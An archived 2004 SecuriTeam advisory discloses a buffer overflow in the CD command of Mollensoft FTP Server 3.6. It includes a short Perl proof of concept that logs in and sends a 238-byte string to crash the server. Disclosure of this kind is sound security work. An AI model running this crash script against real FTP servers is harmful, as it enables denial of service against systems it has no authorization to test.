

[NT] Mollensoft FTP Server CD Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-06/0009.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/03/04

To: list@securiteam.com

Date: 3 Jun 2004 17:10:21 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Mollensoft FTP Server CD Buffer Overflow

SUMMARY

<<http://www.mollensoft.com>> Mollensoft Lightweight FTP Server is "a powerful, reliable FTP server for Windows95/98/NT/2000. It includes New Security and Faster, More Efficient Rules Based Access, Live Client activity Window as well as a specific Client breakdown window (below) and significant enhancement in speed/stability and is especially designed for Intranet Use". A buffer overflow vulnerability exists in its "CD" command that allows an attacker to READ any memory location. An attacker can pass a string of 238 bytes to the "CD" command to cause this overflow.

DETAILS

Vulnerable Systems:

* Mollensoft FTP Server version 3.6

Proof Of Concept:

```
# C:\Active Perl\perl
```

```
# POC for mollensoft ftp server 3.6
```

```
# Will crash the daemon
```

```
use IO::Socket::INET;
```

Securiteam: [NT] Mollensoft FTP Server CD Buffer Overflow

```
$host = "localhost";  
$port = 21;  
$buffer = "A" x 238;  
  
$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,  
PeerPort=>$port);  
  
print $socket "USER root\r\n";  
$socket->recv($test,100);  
print $test;  
  
print $socket "PASS password\r\n";  
$socket->recv($test,100);  
print $test;  
  
print $socket "CD $buffer\r\n";  
$socket->recv($test,100);  
print $test;  
  
close($socket);
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:chesschintan@hotmail.com>>
Chintan Trivedi.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.